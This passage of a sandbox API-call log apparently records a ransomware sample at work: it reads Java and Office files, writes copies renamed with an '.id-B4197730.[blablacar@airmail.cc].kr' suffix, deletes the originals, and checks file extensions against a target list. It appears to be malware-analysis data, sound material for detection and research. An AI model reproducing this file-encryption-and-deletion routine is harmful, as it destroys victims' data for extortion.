lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.720] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xfc, lpOverlapped=0x0) returned 1 [0183.720] SetEndOfFile (hFile=0x51c) returned 1 [0183.721] CloseHandle (hObject=0x51c) returned 1 [0183.721] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.721] SetEndOfFile (hFile=0x4d4) returned 1 [0183.723] CloseHandle (hObject=0x4d4) returned 1 [0183.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.723] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0183.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.724] lstrlenW (lpString=".doc") returned 4 [0183.724] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.724] lstrlenW (lpString=".docx") returned 5 [0183.724] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0183.724] lstrlenW (lpString=".pdf") returned 4 [0183.724] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.724] lstrlenW (lpString=".xls") returned 4 [0183.724] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.724] lstrlenW (lpString=".xlsx") returned 5 [0183.724] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0183.724] lstrlenW (lpString=".ppt") returned 4 [0183.724] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.724] lstrlenW (lpString=".zip") returned 4 [0183.724] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.724] lstrlenW (lpString=".rar") returned 4 [0183.724] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.724] lstrlenW (lpString=".bz2") returned 4 [0183.724] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.724] lstrlenW (lpString=".7z") returned 3 [0183.724] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.724] lstrlenW (lpString=".dbf") returned 4 [0183.725] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString=".1cd") returned 4 [0183.725] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString=".jpg") returned 4 [0183.725] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString=".doc") returned 4 [0183.725] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0183.725] lstrlenW (lpString=".docx") returned 5 [0183.725] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0183.725] lstrlenW (lpString=".pdf") returned 4 [0183.725] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString=".xls") returned 4 [0183.725] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString=".xlsx") returned 5 [0183.725] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0183.725] lstrlenW (lpString=".ppt") returned 4 [0183.725] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString=".zip") returned 4 [0183.725] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString=".rar") returned 4 [0183.725] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0183.725] lstrlenW (lpString=".bz2") returned 4 [0183.725] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0183.725] lstrlenW (lpString=".7z") returned 3 [0183.725] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0183.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.725] lstrlenW (lpString=".dbf") returned 4 [0183.726] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0183.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.726] lstrlenW (lpString=".1cd") returned 4 [0183.726] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0183.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0183.726] lstrlenW (lpString=".jpg") returned 4 [0183.726] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0183.726] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0183.726] lstrlenW (lpString="sound.properties") returned 16 [0183.726] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.726] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1210) returned 1 [0183.726] CloseHandle (hObject=0x4d4) returned 1 [0183.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0183.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.727] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.727] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.727] GetLastError () returned 0x0 [0183.727] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x4ba, lpOverlapped=0x0) returned 1 [0183.729] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x4c0, lpOverlapped=0x0) returned 1 [0183.730] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.730] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xf4, lpOverlapped=0x0) returned 1 [0183.730] SetEndOfFile (hFile=0x51c) returned 1 [0183.730] CloseHandle (hObject=0x51c) returned 1 [0183.730] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.730] SetEndOfFile (hFile=0x4d4) returned 1 [0183.732] CloseHandle (hObject=0x4d4) returned 1 [0183.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.733] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1 [0183.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.733] lstrlenW (lpString=".doc") returned 4 [0183.733] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".docx") returned 5 [0183.734] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0183.734] lstrlenW (lpString=".pdf") returned 4 [0183.734] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".xls") returned 4 [0183.734] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".xlsx") returned 5 [0183.734] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0183.734] lstrlenW (lpString=".ppt") returned 4 [0183.734] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString=".zip") returned 4 [0183.734] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".rar") returned 4 [0183.734] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".bz2") returned 4 [0183.734] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString=".7z") returned 3 [0183.734] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString=".dbf") returned 4 [0183.734] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString=".1cd") returned 4 [0183.734] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString=".jpg") returned 4 [0183.734] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.734] lstrlenW (lpString=".doc") returned 4 [0183.734] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".docx") returned 5 [0183.735] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0183.735] lstrlenW (lpString=".pdf") returned 4 [0183.735] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".xls") returned 4 [0183.735] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".xlsx") returned 5 [0183.735] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0183.735] lstrlenW (lpString=".ppt") returned 4 [0183.735] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.735] lstrlenW (lpString=".zip") returned 4 [0183.735] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".rar") returned 4 [0183.735] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".bz2") returned 4 [0183.735] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString=".7z") returned 3 [0183.735] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0183.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.735] lstrlenW (lpString=".dbf") returned 4 [0183.735] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.735] lstrlenW (lpString=".1cd") returned 4 [0183.735] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0183.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55 [0183.735] lstrlenW (lpString=".jpg") returned 4 [0183.735] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0183.735] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".kr") returned -1 [0183.736] lstrlenW (lpString="tzmappings") returned 10 [0183.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.736] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8400) returned 1 [0183.736] CloseHandle (hObject=0x4d4) returned 1 [0183.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0183.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0183.737] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.737] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0183.737] GetLastError () returned 0x0 [0183.737] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x20d0, lpOverlapped=0x0) returned 1 [0183.993] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x20e0, lpOverlapped=0x0) returned 1 [0183.994] ReadFile (in: hFile=0x4d4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.994] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xe8, lpOverlapped=0x0) returned 1 [0183.994] SetEndOfFile (hFile=0x51c) returned 1 [0183.994] CloseHandle (hObject=0x51c) returned 1 [0183.994] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.994] SetEndOfFile (hFile=0x4d4) returned 1 [0183.997] CloseHandle (hObject=0x4d4) returned 1 [0183.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.997] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1 [0183.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.998] lstrlenW (lpString=".doc") returned 4 [0183.998] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".docx") returned 5 [0183.998] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0183.998] lstrlenW (lpString=".pdf") returned 4 [0183.998] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".xls") returned 4 [0183.998] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".xlsx") returned 5 [0183.998] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0183.998] lstrlenW (lpString=".ppt") returned 4 [0183.998] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.998] lstrlenW (lpString=".zip") returned 4 [0183.998] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".rar") returned 4 [0183.998] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".bz2") returned 4 [0183.998] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0183.998] lstrlenW (lpString=".7z") returned 3 [0183.998] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0183.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".dbf") returned 4 [0183.999] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".1cd") returned 4 [0183.999] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".jpg") returned 4 [0183.999] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".doc") returned 4 [0183.999] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".docx") returned 5 [0183.999] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1 [0183.999] lstrlenW (lpString=".pdf") returned 4 [0183.999] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".xls") returned 4 [0183.999] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".xlsx") returned 5 [0183.999] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1 [0183.999] lstrlenW (lpString=".ppt") returned 4 [0183.999] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".zip") returned 4 [0183.999] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".rar") returned 4 [0183.999] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".bz2") returned 4 [0183.999] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1 [0183.999] lstrlenW (lpString=".7z") returned 3 [0183.999] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1 [0183.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0183.999] lstrlenW (lpString=".dbf") returned 4 [0183.999] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1 [0184.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0184.000] lstrlenW (lpString=".1cd") returned 4 [0184.000] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1 [0184.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49 [0184.000] lstrlenW (lpString=".jpg") returned 4 [0184.000] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1 [0184.000] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0184.000] lstrlenW (lpString="C2R32.dll") returned 9 [0184.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.104] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=820416) returned 1 [0184.104] CloseHandle (hObject=0x518) returned 1 [0184.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0184.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.442] lstrlenW (lpString=".doc") returned 4 [0184.442] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString=".docx") returned 5 [0184.442] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0184.442] lstrlenW (lpString=".pdf") returned 4 [0184.442] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString=".xls") returned 4 [0184.442] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString=".xlsx") returned 5 [0184.442] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0184.442] lstrlenW (lpString=".ppt") returned 4 [0184.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.442] lstrlenW (lpString=".zip") returned 4 [0184.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString=".rar") returned 4 [0184.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.442] lstrlenW (lpString=".bz2") returned 4 [0184.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0184.442] lstrlenW (lpString=".7z") returned 3 [0184.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.442] lstrlenW (lpString=".dbf") returned 4 [0184.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.442] lstrlenW (lpString=".1cd") returned 4 [0184.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0184.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".jpg") returned 4 [0184.443] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".doc") returned 4 [0184.443] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString=".docx") returned 5 [0184.443] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0184.443] lstrlenW (lpString=".pdf") returned 4 [0184.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString=".xls") returned 4 [0184.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString=".xlsx") returned 5 [0184.443] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0184.443] lstrlenW (lpString=".ppt") returned 4 [0184.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll") returned 55 [0184.443] lstrlenW (lpString=".zip") returned 4 [0184.443] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString=".rar") returned 4 [0184.443] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0184.443] lstrlenW (lpString=".bz2") 